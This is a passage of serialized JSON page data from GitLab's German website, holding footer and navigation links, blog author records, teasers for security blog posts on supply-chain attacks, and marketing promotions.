event",{"layout":920,"disabled":475},"release",{"data":922},{"text":923,"source":924,"edit":930,"contribute":935,"config":940,"items":945,"minimal":1151},"Git ist eine Marke von Software Freedom Conservancy und unsere Verwendung von „GitLab“ erfolgt unter Lizenz.",{"text":925,"config":926},"Quelltext der Seite anzeigen",{"href":927,"dataGaName":928,"dataGaLocation":929},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":931,"config":932},"Diese Seite bearbeiten",{"href":933,"dataGaName":934,"dataGaLocation":929},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":936,"config":937},"Beteilige dich",{"href":938,"dataGaName":939,"dataGaLocation":929},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":941,"facebook":942,"youtube":943,"linkedin":944},"https://x.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[946,991,1044,1086,1117],{"title":646,"links":947,"subMenu":962},[948,952,957],{"text":949,"config":950},"Tarife anzeigen",{"href":648,"dataGaName":951,"dataGaLocation":929},"view plans",{"text":953,"config":954},"Vorteile von Premium",{"href":955,"dataGaName":956,"dataGaLocation":929},"/de-de/pricing/premium/","why premium",{"text":958,"config":959},"Vorteile von Ultimate",{"href":960,"dataGaName":961,"dataGaLocation":929},"/de-de/pricing/ultimate/","why ultimate",[963],{"title":811,"links":964},[965,967,969,971,976,981,986],{"text":504,"config":966},{"href":506,"dataGaName":507,"dataGaLocation":929},{"text":821,"config":968},{"href":823,"dataGaName":824,"dataGaLocation":929},{"text":826,"config":970},{"href":828,"dataGaName":829,"dataGaLocation":929},{"text":972,"config":973},"Status",{"href":974,"dataGaName":975,"dataGaLocation":929},"https://status.gitlab.com/","status",{"text":977,"config":978},"Nutzungsbedingungen",{"href":979,"dataGaName":980,"dataGaLocation":929},"/terms/","terms of use",{"text":982,"config":983},"Datenschutzerklärung",{"href":984,"dataGaName":985,"dataGaLocation":929},"/de-de/privacy/","privacy statement",{"text":987,"config":988},"Cookie-Einstellungen",{"dataGaName":989,"dataGaLocation":929,"id":990,"isOneTrustButton":478},"cookie preferences","ot-sdk-btn",{"title":544,"links":992,"subMenu":1001},[993,997],{"text":994,"config":995},"DevSecOps-Plattform",{"href":526,"dataGaName":996,"dataGaLocation":929},"devsecops platform",{"text":998,"config":999},"KI-unterstützte Entwicklung",{"href":533,"dataGaName":1000,"dataGaLocation":929},"ai-assisted development",[1002],{"title":1003,"links":1004},"Themen",[1005,1009,1014,1019,1024,1029,1034,1039],{"text":564,"config":1006},{"href":1007,"dataGaName":1008,"dataGaLocation":929},"/de-de/topics/ci-cd/","cicd",{"text":1010,"config":1011},"GitOps",{"href":1012,"dataGaName":1013,"dataGaLocation":929},"/de-de/topics/gitops/","gitops",{"text":1015,"config":1016},"DevOps",{"href":1017,"dataGaName":1018,"dataGaLocation":929},"/de-de/topics/devops/","devops",{"text":1020,"config":1021},"Versionskontrolle",{"href":1022,"dataGaName":1023,"dataGaLocation":929},"/de-de/topics/version-control/","version control",{"text":1025,"config":1026},"DevSecOps",{"href":1027,"dataGaName":1028,"dataGaLocation":929},"/de-de/topics/devsecops/","devsecops",{"text":1030,"config":1031},"Cloud-nativ",{"href":1032,"dataGaName":1033,"dataGaLocation":929},"/de-de/topics/cloud-native/","cloud native",{"text":1035,"config":1036},"KI für das Programmieren",{"href":1037,"dataGaName":1038,"dataGaLocation":929},"/de-de/topics/devops/ai-for-coding/","ai for coding",{"text":1040,"config":1041},"Agentische KI",{"href":1042,"dataGaName":1043,"dataGaLocation":929},"/de-de/topics/agentic-ai/","agentic ai",{"title":1045,"links":1046},"Lösungen",[1047,1050,1052,1057,1061,1064,1067,1070,1072,1074,1076,1081],{"text":589,"config":1048},{"href":584,"dataGaName":1049,"dataGaLocation":929},"Application Security Testing",{"text":576,"config":1051},{"href":560,"dataGaName":561,"dataGaLocation":929},{"text":1053,"config":1054},"Agile Entwicklung",{"href":1055,"dataGaName":1056,"dataGaLocation":929},"/de-de/solutions/agile-delivery/","agile delivery",{"text":1058,"config":1059},"SCM",{"href":573,"dataGaName":1060,"dataGaLocation":929},"source code management",{"text":564,"config":1062},{"href":566,"dataGaName":1063,"dataGaLocation":929},"continuous integration & delivery",{"text":615,"config":1065},{"href":617,"dataGaName":1066,"dataGaLocation":929},"value stream management",{"text":1010,"config":1068},{"href":1069,"dataGaName":1013,"dataGaLocation":929},"/de-de/solutions/gitops/",{"text":628,"config":1071},{"href":631,"dataGaName":632,"dataGaLocation":929},{"text":634,"config":1073},{"href":637,"dataGaName":638,"dataGaLocation":929},{"text":640,"config":1075},{"href":643,"dataGaName":644,"dataGaLocation":929},{"text":1077,"config":1078},"Bildungswesen",{"href":1079,"dataGaName":1080,"dataGaLocation":929},"/de-de/solutions/education/","education",{"text":1082,"config":1083},"Finanzdienstleistungen",{"href":1084,"dataGaName":1085,"dataGaLocation":929},"/de-de/solutions/finance/","financial services",{"title":651,"links":1087},[1088,1090,1092,1094,1097,1099,1102,1104,1106,1109,1111,1113,1115],{"text":664,"config":1089},{"href":666,"dataGaName":667,"dataGaLocation":929},{"text":669,"config":1091},{"href":671,"dataGaName":672,"dataGaLocation":929},{"text":674,"config":1093},{"href":676,"dataGaName":677,"dataGaLocation":929},{"text":679,"config":1095},{"href":681,"dataGaName":1096,"dataGaLocation":929},"docs",{"text":702,"config":1098},{"href":704,"dataGaName":705,"dataGaLocation":929},{"text":1100,"config":1101},"Neuigkeiten",{"href":752,"dataGaName":753,"dataGaLocation":929},{"text":697,"config":1103},{"href":699,"dataGaName":700,"dataGaLocation":929},{"text":711,"config":1105},{"href":713,"dataGaName":714,"dataGaLocation":929},{"text":1107,"config":1108},"GitLab Services",{"href":721,"dataGaName":722,"dataGaLocation":929},{"text":724,"config":1110},{"href":726,"dataGaName":727,"dataGaLocation":929},{"text":729,"config":1112},{"href":731,"dataGaName":732,"dataGaLocation":929},{"text":734,"config":1114},{"href":736,"dataGaName":737,"dataGaLocation":929},{"text":739,"config":1116},{"href":741,"dataGaName":742,"dataGaLocation":929},{"title":1118,"links":1119},"Unternehmen",[1120,1122,1124,1126,1128,1130,1135,1140,1142,1144,1146],{"text":763,"config":1121},{"href":765,"dataGaName":757,"dataGaLocation":929},{"text":768,"config":1123},{"href":770,"dataGaName":771,"dataGaLocation":929},{"text":776,"config":1125},{"href":778,"dataGaName":779,"dataGaLocation":929},{"text":781,"config":1127},{"href":783,"dataGaName":784,"dataGaLocation":929},{"text":786,"config":1129},{"href":788,"dataGaName":789,"dataGaLocation":929},{"text":1131,"config":1132},"Nachhaltigkeit",{"href":1133,"dataGaName":1134,"dataGaLocation":929},"/sustainability/","Sustainability",{"text":1136,"config":1137},"Vielfalt, Inklusion und Zugehörigkeit",{"href":1138,"dataGaName":1139,"dataGaLocation":929},"/de-de/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":791,"config":1141},{"href":793,"dataGaName":794,"dataGaLocation":929},{"text":801,"config":1143},{"href":803,"dataGaName":804,"dataGaLocation":929},{"text":806,"config":1145},{"href":808,"dataGaName":809,"dataGaLocation":929},{"text":1147,"config":1148},"Transparenzerklärung zu moderner Sklaverei",{"href":1149,"dataGaName":1150,"dataGaLocation":929},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"items":1152},[1153,1155,1158],{"text":977,"config":1154},{"href":979,"dataGaName":980,"dataGaLocation":929},{"text":1156,"config":1157},"Cookies",{"dataGaName":989,"dataGaLocation":929,"id":990,"isOneTrustButton":478},{"text":982,"config":1159},{"href":984,"dataGaName":985,"dataGaLocation":929},[1161,1175],{"id":1162,"title":7,"body":474,"config":1163,"content":1165,"description":474,"extension":1169,"meta":1170,"navigation":478,"path":1171,"seo":1172,"stem":1173,"__hash__":1174},"blogAuthors/en-us/blog/authors/josh-feehs.yml",{"template":1164},"BlogAuthor",{"name":7,"config":1166},{"headshot":1167,"ctfId":1168},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683068/Blog/Author%20Headshots/Screenshot_2023-11-28_at_9.12.13_AM.png","g5S7qgnlO5aJJ00brs77P","yml",{},"/en-us/blog/authors/josh-feehs",{},"en-us/blog/authors/josh-feehs","GCxiCFjrkcnCx0oF_E3Ps7yjaL35GgFUFRhUekMz-kw",{"id":1176,"title":8,"body":474,"config":1177,"content":1178,"description":474,"extension":1169,"meta":1183,"navigation":478,"path":1184,"seo":1185,"stem":1186,"__hash__":1187},"blogAuthors/en-us/blog/authors/austin-bollinger.yml",{"template":1164},{"name":8,"config":1179},{"socialProof":1180,"headshot":1182},{"gitlabHandle":1181},"abollinger","https://res.cloudinary.com/about-gitlab-com/image/upload/v1777924577/onj1gejpwvhpohv3bkn1.png",{},"/en-us/blog/authors/austin-bollinger",{},"en-us/blog/authors/austin-bollinger","BSNqQmtgHA6iCVP1CHVX9wRVQbFAten_KrTHkUgFdpQ",[1189,1198,1205],{"title":1190,"description":1191,"heroImage":1192,"category":470,"date":1193,"authors":1194,"slug":1197,"externalUrl":474},"Shai-Hulud-Copycat-Kampagne zielt auf Python-Entwickler durch PyPI-Typosquatting","GitLabs Vulnerability Research-Team hat einen Python-Supply-Chain-Angriff auf PyPI entdeckt: Der Shai-Hulud-Wurm stiehlt Credentials aus CI/CD-Systemen.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772630163/akp8ly2mrsfrhsb0liyb.png","2026-06-09",[1195,1196],"Dinesh Bolkensteyn","Daniel Abeles","shai-hulud-copycat-campaign-targets-python-developers",{"title":1199,"description":1200,"heroImage":1192,"category":470,"date":1201,"authors":1202,"slug":1204,"externalUrl":474},"Pipeline-Sicherheit: Lehren aus den Supply-Chain-Angriffen im März","Erfahre, wie zentrale Pipeline-Policies die Angriffsmuster hinter einer Reihe aktueller Supply-Chain-Attacken erkennen und blockieren können.","2026-04-07",[1203],"Grant Hickman","pipeline-security-lessons-from-march-supply-chain-incidents",{"title":1206,"description":1207,"heroImage":1208,"category":470,"date":1209,"authors":1210,"slug":1212,"externalUrl":474},"Detection-Gaps automatisch analysieren mit GitLab Duo Agent Platform","GitLab zeigt, wie zwei KI-Agenten die Gap-Analyse nach Sicherheitsvorfällen reproduzierbar und konsistent machen – direkt im GitLab-Workflow.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1773147991/op5xyroonltdwqix0x3u.png","2026-03-10",[1211],"Matt Coons","automating-detection-gap-analysis-with-gitlab-duo-agent-platform",{"promotions":1214},[1215,1229,1240,1251],{"id":1216,"categories":1217,"header":1219,"text":1220,"button":1221,"image":1226},"ai-modernization",[1218],"ai","Hält KI, was uns versprochen wurde?","Das Quiz dauert maximal 5 Minuten.",{"text":1222,"config":1223},"Ermittle deinen KI-Reifegrad",{"href":1224,"dataGaName":1225,"dataGaLocation":705},"/de-de/assessments/ai-modernization-assessment/","modernization assessment",{"config":1227},{"src":1228},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/qix0m7kwnd8x2fh1zq49.png",{"id":1230,"categories":1231,"header":1232,"text":1220,"button":1233,"image":1237},"devops-modernization",[488,1028],"Verwaltest du Tool-Chaos oder stellst du Innovationen bereit?",{"text":1234,"config":1235},"Ermittle deinen DevOps-Reifegrad",{"href":1236,"dataGaName":1225,"dataGaLocation":705},"/de-de/assessments/devops-modernization-assessment/",{"config":1238},{"src":1239},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138785/eg818fmakweyuznttgid.png",{"id":1241,"categories":1242,"header":1243,"text":1220,"button":1244,"image":1248},"security-modernization",[486],"Tauschst du Schnelligkeit gegen Sicherheit ein?",{"text":1245,"config":1246},"Ermittle deinen Sicherheitsreifegrad",{"href":1247,"dataGaName":1225,"dataGaLocation":705},"/de-de/assessments/security-modernization-assessment/",{"config":1249},{"src":1250},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/p4pbqd9nnjejg5ds6mdk.png",{"id":1252,"paths":1253,"header":1256,"text":1257,"button":1258,"image":1263},"github-azure-migration",[1254,1255],"migration-from-azure-devops-to-gitlab","integrating-azure-devops-scm-and-gitlab","Ist dein Team bereit für den Umzug von GitHub nach Azure?","GitHub stellt bereits auf Azure um. Finde heraus, was das für dich bedeutet.",{"text":1259,"config":1260},"Erfahre, wie GitLab im Vergleich zu GitHub abschneidet",{"href":1261,"dataGaName":1262,"dataGaLocation":705},"/de-de/compare/gitlab-vs-github/github-azure-migration/","github azure migration",{"config":1264},{"src":1239},{"header":1266,"blurb":1267,"button":1268,"secondaryButton":1273},"Beginne noch heute, schneller zu entwickeln","Entdecke, was dein Team mit der intelligenten Orchestrierungsplattform für DevSecOps erreichen kann.\n",{"text":1269,"config":1270},"Kostenlosen Test starten",{"href":1271,"dataGaName":502,"dataGaLocation":1272},"https://gitlab.com/-/trial_registrations/new?glm_content=default-saas-trial&glm_source=about.gitlab.com/de-de/","feature",{"text":504,"config":1274},{"href":506,"dataGaName":507,"dataGaLocation":1272},1781392786092]